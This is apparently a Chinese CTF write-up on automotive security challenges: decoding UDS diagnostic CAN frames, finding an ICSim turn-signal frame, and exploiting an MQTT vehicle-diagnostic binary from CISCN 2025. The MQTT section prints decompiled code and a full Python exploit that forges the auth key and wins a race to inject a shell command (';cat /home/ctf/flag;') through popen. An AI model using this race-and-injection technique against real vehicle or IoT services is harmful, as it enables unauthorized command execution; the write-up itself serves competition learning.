2024金砖国家职业技能大赛网络安全赛项
UDS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| vcan0 703#0322F18000000000 vcan0 7A3#106562F180633A64 vcan0 703#3000000000000000 vcan0 7A3#2161343332386634 vcan0 7A3#2262306130633432 vcan0 7A3#2339313739303133 vcan0 7A3#2433366239313434 vcan0 7A3#2537626366366630 vcan0 7A3#2631666535633566 vcan0 7A3#2734616631336530 vcan0 7A3#2836643335363431 vcan0 7A3#2965663334333965 vcan0 7A3#2A31306666633666 vcan0 7A3#2B35393264663662 vcan0 7A3#2C63383264393464 vcan0 7A3#2D39386439333431 vcan0 7A3#2E36633537000000 vcan0 703#0322F18700000000 vcan0 7A3#100962F1876B3A4E vcan0 703#3000000000000000 vcan0 7A3#216F6E6500000000 vcan0 703#0210030000000000 vcan0 7A3#065003003201F400 vcan0 703#0227030000000000 vcan0 7A3#0667030000000000 vcan0 703#062704DEADBEEF00 vcan0 7A3#0267040000000000 vcan0 703#10242EF1876B3A36 vcan0 7A3#30000F0000000000 vcan0 703#2132363333323935 vcan0 703#2238346332646361 vcan0 703#2337626138323338 vcan0 703#2438663637363964 vcan0 703#2536356300000000 vcan0 7A3#036EF18700000000 vcan0 703#0322F18700000000 vcan0 7A3#102462F1876B3A36
|
零解题目,根据《ISO14229》通过ID读数据中的ID指的是Data Identifier数据标识符,简称DID,DID长度为2个字节。诊断仪一次可以请求读取多个DID,ECU将相同个数的DID数据发给诊断仪。但是常用的方式是一次请求读取一个DID数据,UDS诊断详细看隔壁UDS文章。
DID有一部分已经规定好了,已经规定好的常用DID见下表:
DID(0x) |
Description |
说明 |
F180 |
bootSoftwareIdentificationDataIdentifier |
BOOT软件ID数据ID |
F181 |
applicationSoftwareIdentificationDataIdentifier |
应用软件ID数据ID |
F182 |
applicationDataIdentificationDataIdentifier |
应用数据ID数据ID |
F183 |
bootSoftwareFingerprintDataIdentifier |
BOOT软件指纹数据ID |
F184 |
applicationSoftwareFingerprintDataIdentifier |
应用软件指纹数据ID |
F185 |
applicationDataFingerprintDataIdentifier |
应用数据指纹数据ID |
F186 |
ActiveDiagnosticSessionDataIdentifier |
当前诊断会话数据ID |
F187 |
vehicleManufacturer SparePartNumberDataIdentifier |
主机厂车辆备件数据ID |
F188 |
vehicleManufacturer ECUSoftwareNumberDataIdentifier |
主机厂车辆ECU软件编号数据ID |
F189 |
vehicleManufacturer ECUSoftwareVersionNumberDataIdentifier |
主机厂车辆ECU软件版本编号数据ID |
F18A |
systemSupplierIdentificationDataIdentifier |
系统供应商ID数据ID |
F18B |
ECUManufacturingDateDataIdentifier |
ECU制造日期数据ID |
F18C |
ECUSerialNumberDataIdentifier |
ECU序列号数据ID |
F190 |
VINDataIdentifier |
VIN数据ID |
F191 |
vehicleManufacturer ECUHardwareNumberDataIdentifier |
主机厂ECU硬件编号数据ID |
F192 |
systemSupplier ECUHardwareNumberDataIdentifier |
系统供应商ECU硬件编号数据ID |
F193 |
systemSupplier ECUHardwareVersionNumberDataIdentifier |
系统供应商ECU硬件版本编号数据ID |
F194 |
systemSupplier ECUSoftwareNumberDataIdentifier |
系统供应商ECU软件编号数据ID |
F195 |
systemSupplier ECUSoftwareVersionNumberDataIdentifier |
系统供应商ECU软件版本编号数据ID |
通过ID读数据通常不需要使用子功能,使用SID+DID即可发请求。
根据题目附件,通过ID读数据服务CAN报文:



AES-CBC iv试出来是deadbeefdeadbeef


musc滚出CTF啊!!!
CISCN2025 FINAL
mqtt pwn
题目checksec,保护全开。简单看了一下没有malloc/free操作。看到有popen,应该是命令拼接
题目代码量不大,但是交互方式还是比较新的,程序连接到本地的MQTT的服务器上收发报文。实际与靶机交互时,可用MQTTX连接到靶机端口。
1 2 3 4 5 6 7 8 9 10 11 12
| MQTTClient_create(&qword_5100, "tcp://localhost:9999", "vehicle_diag", 1LL, 0LL); MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL); while ( (unsigned int)MQTTClient_connect(qword_5100, v8) ) { puts("Trying to reconnect to MQTT..."); sleep(2u); } MQTTClient_subscribe(qword_5100, "diag", 1LL); pthread_create(&newthread, 0LL, sub_1E1A, 0LL); puts("Init..."); while ( 1 ) sleep(1u);
|
漏洞点在此处
MQTTClient_setCallbacks(qword_5100, 0LL, 0LL, sub_1C8C, 0LL);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| __int64 __fastcall sub_1C8C(__int64 a1, __int64 a2, int a3, __int64 a4) { __int64 v5; int v6; __int64 v7; __int64 v8; pthread_t newthread; __int64 v10; char *src; char *v12; char *v13; unsigned __int64 v14;
v8 = a1; v7 = a2; v6 = a3; v5 = a4; v14 = __readfsqword(0x28u); printf("Receive: %s\n", *(const char **)(a4 + 16)); v10 = cJSON_ParseWithLength(*(_QWORD *)(v5 + 16), *(int *)(v5 + 8)); if ( v10 ) { src = *(char **)(cJSON_GetObjectItem(v10, "auth") + 32); v12 = *(char **)(cJSON_GetObjectItem(v10, "cmd") + 32); v13 = *(char **)(cJSON_GetObjectItem(v10, "arg") + 32); strncpy(s1, src, 0x7FuLL); strncpy(byte_5260, v12, 0x3FuLL); strncpy(::src, v13, 0x7FuLL); pthread_create(&newthread, 0LL, start_routine, 0LL); pthread_detach(newthread); cJSON_Delete(v10); MQTTClient_freeMessage(&v5); MQTTClient_free(v7); } return 1LL; }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| void *__fastcall start_routine(void *a1) { __int64 v2; const char *v3; __int64 v4; __int64 v5; unsigned int v6; FILE *v7; FILE *stream; __int64 v9; __int64 v10; __int64 v11; __int64 ptr; __int64 v13; __int64 v14; __int64 v15; __int64 v16; __int64 v17; __int64 v18; __int64 v19; char s[264]; unsigned __int64 v21;
v21 = __readfsqword(0x28u); if ( !(unsigned int)sub_160E() ) { sub_1702("{\"status\":\"unauthorized\"}"); puts("unauthorized"); return 0LL; } if ( !strcmp(byte_5260, "get_version") ) { v11 = sub_167C("/mnt/version", "get_version", v2); if ( v11 ) v3 = (const char *)v11; else v3 = "error"; } else if ( !strcmp(byte_5260, "get_location") ) { v10 = sub_167C("/dev/location", "get_location", v4); if ( v10 ) v3 = (const char *)v10; else v3 = "error"; } else { if ( strcmp(byte_5260, "get_tpms") ) { if ( !strcmp(byte_5260, "set_adb") ) { v6 = atoi(src); if ( v6 < 2 ) { snprintf(s, 0x80uLL, "echo -n %d>/mnt/adb_flag;cat /mnt/adb_flag", v6); stream = popen(s, "r"); ptr = 0LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; fread(&ptr, 1uLL, 0x3FuLL, stream); pclose(stream); sub_1702(&ptr); } else { sub_1702("invalid_flag"); } } else if ( !strcmp(byte_5260, "set_vin") ) { if ( (unsigned int)sub_158A(src) ) { sleep(2u); snprintf(s, 0x100uLL, "echo -n %s>/mnt/VIN;cat /mnt/VIN", src); puts(s); v7 = popen(s, "r"); ptr = 0x203A746572LL; v13 = 0LL; v14 = 0LL; v15 = 0LL; v16 = 0LL; v17 = 0LL; v18 = 0LL; v19 = 0LL; fread((char *)&ptr + 5, 1uLL, 0x3FuLL, v7); pclose(v7); puts((const char *)&ptr); sub_1702(&ptr); strncpy(dest, src, 0x3FuLL); sub_1509(dest, &unk_5080); } else { sub_1702("invalid_vin"); puts("invalid_vin"); } } else { sub_1702("unknown_command"); } return 0LL; } v9 = sub_167C("/dev/tpms", "get_tpms", v5); if ( v9 ) v3 = (const char *)v9; else v3 = "error"; } sub_1702(v3); return 0LL; }
|
每次接收到报文后,用json解析。再新开一个线程调用start_routine
函数,start_routine
再根据接收到的参数进行不同的操作。
set_vin这里的popen是能够看出有命令拼接的。可是,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| __int64 __fastcall sub_158A(const char *a1) { int i; int v3;
v3 = strlen(a1); if ( v3 > 63 || v3 <= 9 ) return 0LL; for ( i = 0; i < v3; ++i ) { if ( ((*__ctype_b_loc())[a1[i]] & 8) == 0 ) return 0LL; } return 1LL; }
|
这个检查过滤了非数字字母
但问题在于,此处byte_5260
是全局变量,也没有加锁保护,又有2秒的竞争窗口周期
所以,我们可以先发送一次合法的报文,再在2s内发送一次拼接注入的报文覆盖,达成命令拼接。
还有一个auth要过。不过这个auth就很简单了,MQTT会往外发VIN码,拿这个VIN码和sub_1509这个函数的逻辑算就是。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import paho.mqtt.client as mqtt import json import time
VIN = "XDGV56EK1R8B3W42B"
def getkey(s): v3 = 0 for c in s: v3 = 31 * v3 + ord(c) return f"{v3:08x}"[-8:]
key = getkey(VIN)
a = { "auth": key, "cmd": "set_vin", "arg": VIN }
b = { "auth": key, "cmd": "set_vin", "arg": ";cat /home/ctf/flag;" }
def on_message(client, userdata, msg): print(msg.payload.decode())
client = mqtt.Client() client.connect(ip, port, 60) client.subscribe("diag/resp") client.on_message = on_message client.loop_start()
client.publish("diag", json.dumps(a)) time.sleep(0.5) client.publish("diag", json.dumps(b)) time.sleep(5) client.loop_stop()
|
easy_can
拿icsim模拟的CAN报文。找出第一次打右转向灯的报文;重复仿真可以参考如下
https://g1at.github.io/2023/02/05/2022PWNHUB%E5%86%AC%E5%AD%A3%E8%B5%9BWrite%20Up/#%E9%A3%9E%E9%A9%B0%E4%BA%BA%E7%94%9F
看一下icsim源码有这几个宏定义
1 2 3
| #define DEFAULT_SIGNAL_ID 392 #define CAN_LEFT_SIGNAL 1 #define CAN_RIGHT_SIGNAL 2
|
还有这段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void update_signal_status(struct canfd_frame *cf, int maxdlen) { int len = (cf->len > maxdlen) ? maxdlen : cf->len; if(len < signal_pos) return; if(cf->data[signal_pos] & CAN_LEFT_SIGNAL) { turn_status[0] = ON; } else { turn_status[0] = OFF; } if(cf->data[signal_pos] & CAN_RIGHT_SIGNAL) { turn_status[1] = ON; } else { turn_status[1] = OFF; } update_turn_signals(); SDL_RenderPresent(renderer); }
|
那也就是找can.id==392,第一次出现data中为\x02开头的报文。
最后得到flag{00000188040000000200000000000000}